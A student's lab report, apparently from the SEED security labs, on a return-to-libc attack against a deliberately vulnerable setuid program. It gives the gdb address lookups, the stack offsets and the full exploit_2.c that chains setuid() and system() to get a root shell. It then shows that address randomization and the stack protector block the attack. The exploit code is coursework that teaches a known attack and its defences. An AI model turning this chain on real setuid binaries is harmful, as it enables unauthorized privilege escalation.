NAME *: LAKSHITHA RAJ VASANADU*
ID *: 00001115006*

LAB ASSIGNMENT 4 TASK 2 & 3
Return-to-libc Attack

TASK 2
Steps followed are:

1) The attack in **Task1** is repeated with **bash** shell by creating symbolic link:

```
root@seed-desktop:/home/seed# cd /bin
root@seed-desktop:/bin# rm sh
root@seed-desktop:/bin# ln -s bash sh
root@seed-desktop:/bin# ls -l sh
lrwxrwxrwx 1 root root 4 2015-03-09 11:13 sh -> bash
root@seed-desktop:/bin# exit
exit
seed@seed-desktop:~$ su
Password:
root@seed-desktop:/home/seed# gcc -g -fno-stack-protector -o retlib retlib.c
root@seed-desktop:/home/seed# chmod 4755 retlib
root@seed-desktop:/home/seed# exit
exit
seed@seed-desktop:~$ ./retlib
sh-3.2$ whoami
seed
sh-3.2$
```

2) It is observed that the attack did not work. With bash, a shell is spawned but not with root privileges. This is because bash drops the root privilege once it detects that it is a SetUID root program.

3) Now, the attack is tried with exploit_2.c. This exploit code bypasses the protection of bash by turning the setUID root program into real root program before spawning the shell.

4) The given program **retlib.c** is compile using –fno-stack-protector option and is made as setUID root program.

gcc –g –fno-stack-protector –o retlib retlib.c

5) The addresses of the **system()** and **setuid()** functions are obtained from gdb as shown:

```
The program being debugged has been started already.
Start it from the beginning? (y or n) n
Program not restarted.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ea88b0 <system>
(gdb) p setuid
$2 = {<text variable, no debug info>} 0xb7f0f620 <setuid>
```

6) The addresses of the **/bin/sh** is found as :
   - An environment variable called MYSHELL is set as :
     export MYSHELL=/bin/sh

- The following piece of C code is compiled and executed to get the address.

```c
#include <stdio.h>

int  main() {
  char* shell = (char *)getenv("MYSHELL");
  if(shell)
   printf("0x%x %s\n", (unsigned int)shell, shell);

  return 0;
}
```

```
seed@seed-desktop:~$ vim findShellAddr.c
seed@seed-desktop:~$ gcc -o addr findShellAddr.c
seed@seed-desktop:~$ ./addr
0xbffffeaf /bin/sh
```

- The obtained address **0xbffffeaf** is further verified using gdb.

```
seed@seed-desktop:~$ gdb retlib
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x80484b4: file retlib.c, line 18.
(gdb) r
Starting program: /home/seed/retlib

Breakpoint 1, main () at retlib.c:18
warning: Source file is more recent than executable.
18          badfile = fopen("badfile", "r");
(gdb) x/s 0xbffffeaf
0xbffffeaf:      "in/sh"
(gdb) x/s 0xbffffeab
0xbffffeab:      "L=/bin/sh"
(gdb) x/s 0xbffffead
0xbffffead:      "/bin/sh"
(gdb)
```

With trial and error in adjusting the address by few bytes of offset, it was found that the address **0xbffffeab** was the address to spawn shell.

7) The given **retlib.c** program has a buffer overflow vulnerability. We can observe that we are reading 76 bytes from the file into a buffer of size 48 using fread which is an unsafe function. As a result, we can exploit the program by manipulating the input to the program.

To find the offsets **W**, **X, Y, Z** in the exploit_2.c program, we analyze the stack of the retlib.c program.

- The initial 48 bytes of buf[] in exploit_1.c are kept empty.
- The next 4 bytes contain the old ebp – pointer to the previous stack frame. So first 52 bytes of buf[] are kept empty.

- The next 4 bytes contain the return address after to which the control will point to after execution of bof(). Hence, we can overwrite this to execute setuid() function. So at offset 52 i.e. buf[52], we place the address of setuid() function : 0xb7f0f620.
- The control is transferred to next 4 bytes after the execution of setuid(). Hence, we place the address of system() at offset 56. i.e,. buf[56] = 0xb7ea88b0.
- This set of 4 bytes will contain the parameter to setuid() as during the execution of setuid(), it will look for its parameters here. So we place the parameter 0 at offset 60. i.e., buf[60] = 0.
- This set of 4 bytes will contain the address of /bin/sh as during the execution of system(), it will look for its parameters here. So we place the address of /bin/sh at offset 64. i.e., buf[64] = 0xbffffeab.

8) The exploit_2.c is as follows:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char ** argv)
{
   char buf[76];
   FILE *badfile;

   badfile = fopen("badfile", "w");

   *(long *) &buf[56] = 0xb7ea88b0; // W - system()
   *(long *) &buf[64] = 0xbffffeab; // X - address of "/bin/sh"
   *(long *) &buf[52] = 0xb7f0f620; // Y - setuid()
   *(long *) &buf[60] = 0; // Z - parameter for setuid()

   fwrite(buf, sizeof(buf), 1, badfile);
   fclose(badfile);
}
```

9) The output is as shown. Root shell is spawned.

```
seed@seed-desktop:~$ gcc -o exploit2 exploit_2.c
seed@seed-desktop:~$ ./exploit2
seed@seed-desktop:~$ ./retlib
sh-3.2#
sh-3.2# whoami
root
sh-3.2# id
uid=0(root) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(seed)
sh-3.2#
```

10) The stack frame before overflow :
Stack is from lower to higher address.

buffer
Old ebp
Return address
Params

11) The stack frame after buffer overflow:

Buffer – 48 bytes	0xbffff4c4
Old ebp	0xbffff4f4
Address of setuid()	0xbffff4f8
Address of system()	0xbffff4fc
Parameter to setuid() – 0	0xbffff500
Parameter to system() – address of /bin/sh	0xbffff504

10) This shows that buffer overflow occurs by Arc Injection. Programs such as system(), setuid(), /bin/sh are used which reside in the program address space are used for the exploit.

TASK 3

Steps followed are:

1) Address randomization is turned on keeping the stack smash protection off.

sysctl -w kernel.randomize_va_space=2

The program is executed. It results in Segmentation fault.

```
root@seed-desktop:/home/seed# gcc -g -fno-stack-protector -o retlib retlib.c
root@seed-desktop:/home/seed# chmod 4755 retlib
root@seed-desktop:/home/seed# exit
exit
seed@seed-desktop:~$ ./retlib
Segmentation fault
```

2) The attack in Task1 is repeated by trying to find out the addresses of functions – system(), exit(). It is observed that we get different addresses for every run.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7f158b0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7f0ab30 <exit>
```

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e928b0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e87b30 <exit>
```

3) This shows that it is tough to initiate the attack when address randomization is turned on. Address randomization is the process where the addresses of stack or heap in address space of any process is randomized. It makes it impossible for the attackers to guess the addresses on the stack.. Randomization can be done at compile- or link-time, or by rewriting existing binaries.

4) The following shows that the stack addresses are randomized. We get different addresses of stack for every run.

```
seed@seed-desktop:~$ cat /proc/self/maps
08048000-0804f000 r-xp 00000000 08:01 294354     /bin/cat
0804f000-08050000 r--p 00006000 08:01 294354     /bin/cat
08050000-08051000 rw-p 00007000 08:01 294354     /bin/cat
09856000-09877000 rw-p 09856000 00:00 0          [heap]
b7da5000-b7de4000 r--p 00000000 08:01 115063     /usr/lib/locale/en_US.utf8/LC_CTYPE
b7de4000-b7de5000 r--p 00000000 08:01 115068     /usr/lib/locale/en_US.utf8/LC_NUMERIC
b7de5000-b7de6000 r--p 00000000 08:01 115071     /usr/lib/locale/en_US.utf8/LC_TIME
b7de6000-b7ed1000 r--p 00000000 08:01 115062     /usr/lib/locale/en_US.utf8/LC_COLLATE
b7ed1000-b7ed2000 r--p 00000000 08:01 115066     /usr/lib/locale/en_US.utf8/LC_MONETARY
b7ed2000-b7ed3000 r--p 00000000 08:01 115072     /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES
b7ed3000-b7ed4000 rw-p b7ed3000 00:00 0
b7ed4000-b8030000 r-xp 00000000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8030000-b8031000 ---p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8031000-b8033000 r--p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8033000-b8034000 rw-p 0015e000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8034000-b8037000 rw-p b8034000 00:00 0
b8037000-b8038000 r--p 00000000 08:01 115069     /usr/lib/locale/en_US.utf8/LC_PAPER
b8038000-b8039000 r--p 00000000 08:01 115067     /usr/lib/locale/en_US.utf8/LC_NAME
b8039000-b803a000 r--p 00000000 08:01 115061     /usr/lib/locale/en_US.utf8/LC_ADDRESS
b803a000-b803b000 r--p 00000000 08:01 115070     /usr/lib/locale/en_US.utf8/LC_TELEPHONE
b803b000-b803c000 r--p 00000000 08:01 115065     /usr/lib/locale/en_US.utf8/LC_MEASUREMENT
b803c000-b8043000 r--s 00000000 08:01 99293      /usr/lib/gconv/gconv-modules.cache
b8043000-b8044000 r--p 00000000 08:01 115064     /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION
b8044000-b8046000 rw-p b8044000 00:00 0
b8046000-b8047000 r-xp b8046000 00:00 0          [vdso]
b8047000-b8063000 r-xp 00000000 08:01 278007     /lib/ld-2.9.so
b8063000-b8064000 r--p 0001b000 08:01 278007     /lib/ld-2.9.so
b8064000-b8065000 rw-p 0001c000 08:01 278007     /lib/ld-2.9.so
bfe50000-bfe65000 rw-p bffeb000 00:00 0          [stack]
seed@seed-desktop:~$
```

```
seed@seed-desktop:~$ cat /proc/self/maps
08048000-0804f000 r-xp 00000000 08:01 294354     /bin/cat
0804f000-08050000 r--p 00006000 08:01 294354     /bin/cat
08050000-08051000 rw-p 00007000 08:01 294354     /bin/cat
09424000-09445000 rw-p 09424000 00:00 0          [heap]
b7c78000-b7cb7000 r--p 00000000 08:01 115063     /usr/lib/locale/en_US.utf8/LC_CTYPE
b7cb7000-b7cb8000 r--p 00000000 08:01 115068     /usr/lib/locale/en_US.utf8/LC_NUMERIC
b7cb8000-b7cb9000 r--p 00000000 08:01 115071     /usr/lib/locale/en_US.utf8/LC_TIME
b7cb9000-b7da4000 r--p 00000000 08:01 115062     /usr/lib/locale/en_US.utf8/LC_COLLATE
b7da4000-b7da5000 r--p 00000000 08:01 115066     /usr/lib/locale/en_US.utf8/LC_MONETARY
b7da5000-b7da6000 r--p 00000000 08:01 115072     /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES
b7da6000-b7da7000 rw-p b7da6000 00:00 0
b7da7000-b7f03000 r-xp 00000000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7f03000-b7f04000 ---p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7f04000-b7f06000 r--p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7f06000-b7f07000 rw-p 0015e000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7f07000-b7f0a000 rw-p b7f07000 00:00 0
b7f0a000-b7f0b000 r--p 00000000 08:01 115069     /usr/lib/locale/en_US.utf8/LC_PAPER
b7f0b000-b7f0c000 r--p 00000000 08:01 115067     /usr/lib/locale/en_US.utf8/LC_NAME
b7f0c000-b7f0d000 r--p 00000000 08:01 115061     /usr/lib/locale/en_US.utf8/LC_ADDRESS
b7f0d000-b7f0e000 r--p 00000000 08:01 115070     /usr/lib/locale/en_US.utf8/LC_TELEPHONE
b7f0e000-b7f0f000 r--p 00000000 08:01 115065     /usr/lib/locale/en_US.utf8/LC_MEASUREMENT
b7f0f000-b7f16000 r--s 00000000 08:01 99293      /usr/lib/gconv/gconv-modules.cache
b7f16000-b7f17000 r--p 00000000 08:01 115064     /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION
b7f17000-b7f19000 rw-p b7f17000 00:00 0
b7f19000-b7f1a000 r-xp b7f19000 00:00 0          [vdso]
b7f1a000-b7f36000 r-xp 00000000 08:01 278007     /lib/ld-2.9.so
b7f36000-b7f37000 r--p 0001b000 08:01 278007     /lib/ld-2.9.so
b7f37000-b7f38000 rw-p 0001c000 08:01 278007     /lib/ld-2.9.so
bff23000-bff38000 rw-p bffeb000 00:00 0          [stack]
seed@seed-desktop:~$
```

5) Next, stack smash protection is turned on. We get the following output in both the cases – address randomization on and off. The program is aborted when the buffer overflow is detected and outputs the dump.

```
seed@seed-desktop:~$ ./retlib
*** stack smashing detected ***: ./retlib terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f6cda8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f6cd60]
./retlib[0x8048523]
/lib/tls/i686/cmov/libc.so.6(exit+0x0)[0xb7e9db30]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 9488       /home/seed/retlib
08049000-0804a000 r--p 00000000 08:01 9488       /home/seed/retlib
0804a000-0804b000 rw-p 00001000 08:01 9488       /home/seed/retlib
0804b000-0806c000 rw-p 0804b000 00:00 0          [heap]
b7e52000-b7e5f000 r-xp 00000000 08:01 278049     /lib/libgcc_s.so.1
b7e5f000-b7e60000 r--p 0000c000 08:01 278049     /lib/libgcc_s.so.1
b7e60000-b7e61000 rw-p 0000d000 08:01 278049     /lib/libgcc_s.so.1
b7e6e000-b7e6f000 rw-p b7e6e000 00:00 0
b7e6f000-b7fcb000 r-xp 00000000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7fcb000-b7fcc000 ---p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7fcc000-b7fce000 r--p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7fce000-b7fcf000 rw-p 0015e000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b7fcf000-b7fd2000 rw-p b7fcf000 00:00 0
b7fde000-b7fe1000 rw-p b7fde000 00:00 0
b7fe1000-b7fe2000 r-xp b7fe1000 00:00 0          [vdso]
b7fe2000-b7ffe000 r-xp 00000000 08:01 278007     /lib/ld-2.9.so
b7ffe000-b7fff000 r--p 0001b000 08:01 278007     /lib/ld-2.9.so
b7fff000-b8000000 rw-p 0001c000 08:01 278007     /lib/ld-2.9.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
Aborted
```

6) Stack smash protection adds a guard variable and checks for it to detect overflows. Hence, when the inbuilt stack protector is on, it prevents the attack. But it can be turned off which gives way to a successful attack.